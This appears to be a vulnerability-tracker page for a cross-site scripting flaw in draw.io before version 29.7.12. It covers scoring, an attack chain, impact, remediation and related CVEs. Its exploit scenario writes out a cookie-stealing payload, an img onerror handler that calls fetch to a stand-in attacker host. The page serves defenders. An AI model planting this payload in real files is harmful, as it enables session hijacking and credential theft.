Skip to main content

draw.io CVE-2026-46642

| EUVDEUVD-2026-36077 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-10 GitHub_M
6.1
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Craft malicious .drawio file with onerror payload in cell label
  2. Delivery
    Deliver file to draw.io user via phishing or shared repository
  3. Exploit
    Victim opens file in unpatched draw.io editor
  4. Install
    Import auto-selects cell triggering Text Format panel routine
  5. C2
    Raw label assigned to detached element innerHTML without sanitization
  6. Execute
    Browser fires onerror event handler
  7. Impact
    Arbitrary JavaScript executes in draw.io editor origin

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The victim must open a crafted .drawio file in draw.io prior to version 29.7.12. Exploitation is triggered automatically by the file import process, which selects cells programmatically - no additional manual interaction (such as clicking on a cell) is required after opening the file. This means the social engineering step (delivering the file) is the only human-dependent prerequisite. CVSS PR:N confirms the attacker requires no authentication or account on the target system. CVSS UI:R captures the requirement that the victim must open the malicious file. The vulnerability is limited to the draw.io editor's browser origin, so impact is scoped to the web session context of the draw.io application. Exploitation is not possible against users who have already upgraded to version 29.7.12 or later. There is no indication that server-side draw.io deployments with content filtering or WAFs would reliably block this vector, as the payload is embedded within a legitimate application file format rather than an HTTP request.

Impact

The CVSS 6.1 Medium score is derived from a vector of AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. The Scope:Changed (S:C) component is significant - it signals that the impact crosses the security boundary of the vulnerable component into the broader editor origin, enabling session hijacking, credential theft, or further attacks on the draw.io web application's domain context. Attack Complexity:Low and Privileges Required:None indicate no privileged access is needed from the attacker's side. The primary friction is UI:R - the attacker must socially engineer a draw.io user into opening a malicious file, which is a realistic and low-barrier delivery vector given that .drawio files are routinely shared for collaboration. EPSS score was not provided in available data, so exploitation probability cannot be quantified numerically. The absence of a CISA KEV listing and lack of identified public proof-of-concept code reduces urgency relative to KEV-listed vulnerabilities, but the ease of crafting a functional payload and the collaborative file-sharing use case of draw.io make this a credible phishing or supply-chain delivery risk in enterprise environments. Overall, this is a genuine medium-priority issue that warrants patching promptly rather than emergency response.

Exploit ScenarioDerived

An attacker crafts a .drawio diagram file containing one or more cells whose labels embed the payload <img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>. The file is delivered to a target draw.io user via email, Slack, or a shared repository under a plausible pretext such as a project architecture diagram. When the victim opens the file in an unpatched draw.io instance, the import process automatically selects the malicious cell, invoking the Text Format panel's feature-detection routine, which injects the raw label into a detached element's innerHTML. The browser fires the onerror handler, executing the attacker's JavaScript in the draw.io editor's origin and exfiltrating session cookies or tokens. No public proof-of-concept code has been identified at time of analysis, but the payload mechanism described in the CVE is straightforward to construct from the public advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 10, 2026

Stored cross-site scripting in draw.io prior to version 29.7.12 allows arbitrary JavaScript execution in the editor's origin when a victim opens a crafted .drawio file. The flaw bypasses the existing label sanitizer entirely because it resides in a separate, unsanitized code path - the Text Format panel's feature-detection routine - which assigns raw cell label content directly to a detached DOM element's innerHTML. Exploitation is automatic upon file import since draw.io selects cells programmatically during that process, requiring no additional user interaction beyond opening the file. No public exploit code has been identified at time of analysis, and this CVE is not listed in the CISA KEV catalog.

RemediationAI

Upgrade draw.io to version 29.7.12 or later, which is confirmed as the vendor-released fix per the GitHub release at https://github.com/jgraph/drawio/releases/tag/v29.7.12 and the security advisory at https://github.com/jgraph/drawio/security/advisories/GHSA-fqhg-287p-c6vf. For organizations unable to patch immediately, restrict access to the draw.io instance to trusted internal users only and implement strict file-sharing policies prohibiting the ingestion of .drawio files from unverified or external sources - this reduces but does not eliminate the attack surface, as insider threat or compromised accounts remain a vector. Disabling the Text Format panel entirely, if supported by the deployment configuration, would remove the vulnerable code path, though this carries the trade-off of losing text formatting functionality. Content Security Policy (CSP) headers enforcing script-src restrictions on the draw.io origin can limit the impact of successful XSS payloads by blocking inline script execution or restricting exfiltration endpoints, but CSP alone does not prevent the initial code execution in all configurations.

Affected VersionsENISA

drawio < 29.7.12

Affected Packages

euvd drawio fix: 29.7.12

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

draw.io (CPE: cpe:2.3:a:jgraph:drawio:*:*:*:*:*:*:*:*) is a browser-based diagramming and whiteboarding application by JGraph. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting), specifically a DOM-based XSS variant. The application correctly sanitizes cell labels on the rendering code path, but a second, independent code path in the Text Format panel's feature-detection routine reads raw cell label values and assigns them to a detached DOM element via innerHTML without sanitization. A critical browser behavior is exploited here: even elements detached from the live document tree still trigger event handlers such as onerror when image loads fail. An attacker payload of <img src=x onerror=...> placed in any cell label therefore executes its JavaScript handler the moment the detached element is created, before any rendering sanitizer has a chance to process the content. Because file import automatically selects cells, this fires synchronously during the open operation.

Know when Drawio gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from Vendor (GitHub_M) · only source for this CVE.

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
Jun 10, 2026 - 20:01 EUVD

DescriptionCVE.org

draw.io is a configurable diagramming and whiteboarding application. Prior to version 29.7.12, a crafted .drawio file can execute arbitrary JavaScript in the editor's origin when the file is opened. The vulnerability is not in the label sanitizer (which works correctly on the rendering path) but in a feature-detection routine in the Text Format panel that reads the raw cell label and assigns it to a detached element's innerHTML without sanitization. Browsers fire onerror for failed image loads even on detached elements, so an <img src=x onerror=...> payload in any cell label triggers script execution as soon as the cell is selected - which import does automatically. This issue has been patched in version 29.7.12.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Drawio

View all
CVE-2023-3975 CRITICAL POC
9.8 Jul 27

OS Command Injection in GitHub repository jgraph/drawio prior to 21.5.0. Rated critical severity (CVSS 9.8), this vulner

CVE-2022-1575 CRITICAL POC
9.6 May 05

Arbitrary Code Execution through Sanitizer Bypass in GitHub repository jgraph/drawio prior to 18.0.0. Rated critical sev

CVE-2022-1727 HIGH POC
8.8 May 18

Improper Input Validation in GitHub repository jgraph/drawio prior to 18.0.6. Rated high severity (CVSS 8.8), this vulne

CVE-2022-3133 HIGH POC
7.8 Sep 09

OS Command Injection in GitHub repository jgraph/drawio prior to 20.3.0. Rated high severity (CVSS 7.8), this vulnerabil

CVE-2023-3398 HIGH POC
7.5 Jun 26

Denial of Service in GitHub repository jgraph/drawio prior to 18.1.3. Rated high severity (CVSS 7.5), this vulnerability

CVE-2022-3065 HIGH POC
7.5 Sep 02

Improper Access Control in GitHub repository jgraph/drawio prior to 20.2.8. Rated high severity (CVSS 7.5), this vulnera

CVE-2022-1815 HIGH POC
7.5 May 25

Exposure of Sensitive Information to an Unauthorized Actor in GitHub repository jgraph/drawio prior to 18.1.2. Rated hig

CVE-2022-1784 HIGH POC
7.5 May 20

Server-Side Request Forgery (SSRF) in GitHub repository jgraph/drawio prior to 18.0.8. Rated high severity (CVSS 7.5), t

CVE-2022-1767 HIGH POC
7.5 May 18

Server-Side Request Forgery (SSRF) in GitHub repository jgraph/drawio prior to 18.0.7. Rated high severity (CVSS 7.5), t

CVE-2022-1711 HIGH POC
7.5 May 17

Server-Side Request Forgery (SSRF) in GitHub repository jgraph/drawio prior to 18.0.5. Rated high severity (CVSS 7.5), t

CVE-2022-1723 HIGH POC
7.5 May 17

Server-Side Request Forgery (SSRF) in GitHub repository jgraph/drawio prior to 18.0.6. Rated high severity (CVSS 7.5), t

CVE-2022-1721 HIGH POC
7.5 May 16

Path Traversal in WellKnownServlet in GitHub repository jgraph/drawio prior to 18.0.5. Rated high severity (CVSS 7.5), t

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy